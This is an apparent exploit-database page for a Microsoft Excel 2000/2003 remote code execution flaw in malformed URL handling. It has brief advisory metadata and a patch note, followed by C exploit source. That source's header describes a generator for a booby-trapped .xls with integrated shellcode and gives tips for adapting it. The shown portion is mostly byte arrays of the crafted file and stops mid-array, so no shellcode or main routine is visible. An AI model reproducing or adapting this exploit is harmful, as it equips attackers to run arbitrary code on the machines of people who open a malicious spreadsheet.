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Suggest Exploit
vendor:
Excel
by:
tracen
9.3
CVSS
HIGH
Remote Code Execution
119
CWE
Product Name: Excel
Affected Version From: Microsoft Excel 2000
Affected Version To: Microsoft Excel 2003
Patch Exists: YES
Related CWE: CVE-2005-1214, BID-18422
CPE: a:microsoft:excel
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP2
2005

Microsoft Excel 2000 and 2003 exploit for WinXP SP2 french

Microsoft Excel is prone to a remote code execution issue which may be triggered when a malformed Excel document is opened. The issue is due to an error in Excel while handling malformed URL strings. Successful exploitation could allow an attacker to execute arbitrary code with the privileges of the user running Excel. Code execution is dependent upon certain factors including the overflow condition, the MS Excel version and the host OS and SP.

Mitigation:

Microsoft has released a patch to address this issue. Users are advised to apply the patch as soon as possible.
Source

Exploit-DB raw data:

/*
*************************************************************************
*                                                                       *
*                          -/\_NSRocket_/\-                             *
*                                                                       *
*                              presents                                 *
*                                                                       *
*      Microsoft Excel 2000 and 2003 exploit for WinXP SP2 french       *
*                  (with shellcode source integrated)                   *
*                                                                       *
*************************************************************************
*                                                                       *
* Description:                                                          *
*   Microsoft Excel is prone to a remote code execution issue           *
*   which may be triggered when a malformed Excel document is opened.   *
*   The issue is due to an error in Excel while handling malformed URL  *
*   strings. there may be other ways to trigger this vulnerability,     *
*   successful exploitation could allow an attacker to execute          *
*   arbitrary code with the privileges of the user running Excel.       *
*                                                                       *
*   Code execution is dependent upon certain factors including the      *
*   overflow condition, the MS Excel version and the host OS and SP.    *
*   If you cannot get it to work, attach it with the debugger check     *
*   the stack layout and the rest is on your imagination. :) :)         *
*                                                                       *
* Advisories:                                                           *
*   http://www.microsoft.com/technet/security/advisory/921365.mspx      *
*   https://www.securityfocus.com/bid/18422/                             *
*                                                                       *
* Disclaimer:                                                           *
*   This Proof of concept code is for educational purposes only.        *
*   Please do not use it against any system without authorization...    *
*                                                                       *
*************************************************************************
*                                                                       *
* Thanks to Naveed Afzal who inspired me ;) with his exploit for Excel  *
* 2000 on WinXP SP1 and Win2000 SP4.                                    *
*                                                                       *
* Shellcode launches "mspaint.exe" to validate exploit and terminates   *
* Excel process. You can modify it as you want. Don't forget that it    *
* must not contain any null byte when it will be assembled : use your   *
* debugger to see opcodes generated from your shellcode source or check *
* the .xls file generated with an hex editor.                           *
* The generated file is modifiable as you wish with Excel without       *
* affect the exploit result. The only thing that you must not change is *
* the link associated with the word "LINK". However, the word "LINK"    *
* can be changed.                                                       *
*                                                                       *
* "__asm" keyword in the "InsertShellcode" function works may be not    *
* with your compiler. Replace it by the good one in this case (see your *
* compiler documentation :)                                             *
*                                                                       *
*                 any question goes to john2jenny@hotmail.com  ...bye ! *
*                                                                       *
*************************************************************************
*/

#include <string.h>
#include <fstream.h>
#include <stdio.h>
#include <malloc.h>


//excel sheet formatting data bytes
unsigned char stream1[] = {
    0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03, 0x00, 0xFE, 0xFF, 0x09, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 
    0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x05, 0x00, 0xBB, 0x0D, 0xCC, 0x07, 0x41, 0x00, 0x00, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x42, 0x00, 0x02, 0x00, 0xE4, 0x04, 0x8D, 0x00, 0x02, 0x00, 0x00, 0x00, 
    0x3D, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x35, 0xED, 0x30, 0x38, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x01, 0x00, 0x58, 0x02, 0x22, 0x00, 0x02, 0x00, 0x00, 0x00, 0x31, 0x00, 0x15, 0x00, 
    0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 
    0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 
    0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 
    0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 0x69, 0x61, 0x6C, 
    0x31, 0x00, 0x16, 0x00, 0xA0, 0x00, 0x00, 0x00, 0xFF, 0x7F, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x06, 0x00, 0x54, 0x61, 0x68, 0x6F, 0x6D, 0x61, 0x31, 0x00, 0x15, 0x00, 0xC8, 0x00, 
    0x00, 0x00, 0x0C, 0x00, 0x90, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x41, 0x72, 
    0x69, 0x61, 0x6C, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2B, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x29, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2C, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 
    0x00, 0x2A, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x00, 0x00, 0x09, 0x00, 0xF5, 0xFF, 0x20, 0x00, 0x00, 
    0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x20, 0xE0, 0x00, 0x14, 0x00, 0x06, 
    0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0xC0, 0x20, 0x93, 0x02, 0x04, 0x00, 0x10, 0x80, 0x03, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x11, 
    0x80, 0x06, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x12, 0x80, 0x04, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x13, 
    0x80, 0x07, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x00, 0x80, 0x00, 0xFF, 0x93, 0x02, 0x04, 0x00, 0x14, 
    0x80, 0x05, 0xFF, 0x92, 0x00, 0xE2, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 
    0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0xFF, 0xFF, 0x00, 
    0x00, 0xFF, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 
    0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x80, 0x80, 
    0x00, 0xC0, 0xC0, 0xC0, 0x00, 0x80, 0x80, 0x80, 0x00, 0x99, 0x99, 0xFF, 0x00, 0x99, 0x33, 0x66, 
    0x00, 0xFF, 0xFF, 0xCC, 0x00, 0xCC, 0xFF, 0xFF, 0x00, 0x66, 0x00, 0x66, 0x00, 0xFF, 0x80, 0x80, 
    0x00, 0x00, 0x66, 0xCC, 0x00, 0xCC, 0xCC, 0xFF, 0x00, 0x00, 0x00, 0x80, 0x00, 0xFF, 0x00, 0xFF, 
    0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 
    0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xCC, 0xFF, 0x00, 0xCC, 0xFF, 0xFF, 
    0x00, 0xCC, 0xFF, 0xCC, 0x00, 0xFF, 0xFF, 0x99, 0x00, 0x99, 0xCC, 0xFF, 0x00, 0xFF, 0x99, 0xCC, 
    0x00, 0xCC, 0x99, 0xFF, 0x00, 0xFF, 0xCC, 0x99, 0x00, 0x33, 0x66, 0xFF, 0x00, 0x33, 0xCC, 0xCC, 
    0x00, 0x99, 0xCC, 0x00, 0x00, 0xFF, 0xCC, 0x00, 0x00, 0xFF, 0x99, 0x00, 0x00, 0xFF, 0x66, 0x00, 
    0x00, 0x66, 0x66, 0x99, 0x00, 0x96, 0x96, 0x96, 0x00, 0x00, 0x33, 0x66, 0x00, 0x33, 0x99, 0x66, 
    0x00, 0x00, 0x33, 0x00, 0x00, 0x33, 0x33, 0x00, 0x00, 0x99, 0x33, 0x00, 0x00, 0x99, 0x33, 0x66, 
    0x00, 0x33, 0x33, 0x99, 0x00, 0x33, 0x33, 0x33, 0x00, 0x85, 0x00, 0x0E, 0x00, 0x22, 0x04, 0x00, 
    0x00, 0x00, 0x00, 0x06, 0x00, 0x53, 0x68, 0x65, 0x65, 0x74, 0x31, 0xFC, 0x00, 0x0F, 0x00, 0x01, 
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x4C, 0x49, 0x4E, 0x4B, 0x0A, 0x00, 
    0x00, 0x00, 0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x10, 0x00, 0xBB, 0x0D, 0xCC, 0x07, 0x41, 0x00, 
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x02, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x02, 0x00, 
    0x01, 0x00, 0x82, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x25, 0x02, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x81, 0x00, 0x02, 0x00, 
    0xC1, 0x04, 0x14, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 
    0x83, 0x00, 0x02, 0x00, 0x00, 0x00, 0x84, 0x00, 0x02, 0x00, 0x00, 0x00, 0x26, 0x00, 0x08, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x3F, 0x27, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0xE8, 0x3F, 0x28, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3F, 
    0x29, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3F, 0xA1, 0x00, 0x22, 0x00, 
    0x00, 0x00, 0x64, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x58, 0x02, 0x58, 0x02, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x3F, 
    0x01, 0x00, 0x55, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x02, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFD, 0x00, 0x0A, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x62, 0x15, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0xD0, 0xC9, 0xEA, 0x79, 0xF9, 0xBA, 0xCE, 0x11, 0x8C, 0x82, 0x00, 0xAA, 
    0x00, 0x4B, 0xA9, 0x0B, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0xE0, 0xC9, 0xEA, 0x79, 
    0xF9, 0xBA, 0xCE, 0x11, 0x8C, 0x82, 0x00, 0xAA, 0x00, 0x4B, 0xA9, 0x0B 
};

unsigned char stream2[] = {
    0x00, 0x00, 0x00, 0x3E, 0x02, 0x12, 0x00, 0xB6, 0x06, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x0F, 0x00, 0x03, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x45, 
    0x00, 0x6E, 0x00, 0x74, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x05, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x62, 0x00, 0x6F, 
    0x00, 0x6F, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
